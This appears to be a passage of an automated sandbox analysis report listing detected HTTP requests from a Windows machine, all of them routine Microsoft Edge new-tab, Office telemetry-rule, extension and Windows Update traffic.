Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732581705995&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e28f39e28eb142bdaa5545b112f458fa&activityId=e28f39e28eb142bdaa5545b112f458fa&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3553E294F9366CAE0604F7D7F89E6D7D&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=05337a2dea4a411ee35444d35001f6cf HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732581705996&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3553E294F9366CAE0604F7D7F89E6D7D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=12Db443021fb10f4d2573941732581709; XID=12Db443021fb10f4d2573941732581709
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3553E294F9366CAE0604F7D7F89E6D7D&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=0219ab1488ce4d59f43f662d187d4438 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732581705995&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e28f39e28eb142bdaa5545b112f458fa&activityId=e28f39e28eb142bdaa5545b112f458fa&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2A6B96A97C4E4072A602F53B40E2433F&MUID=3553E294F9366CAE0604F7D7F89E6D7D HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3553E294F9366CAE0604F7D7F89E6D7D; _EDGE_S=F=1&SID=19E68B138E4E65C034629E508FE76492; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733186498&P2=404&P3=2&P4=jrCM6ztiKI5CcWOb%2fgKgIxJfb3t3w%2bM5CGl1hJMidms4t8MqtStBLxfgYRv9Kx7RXGc3YYCniSQASRuQOGE4sg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: rIr73Cp7/9bsjNgrT0UVVHSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Cv949bFwnRTgu3r&MD=OnYbVzm8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
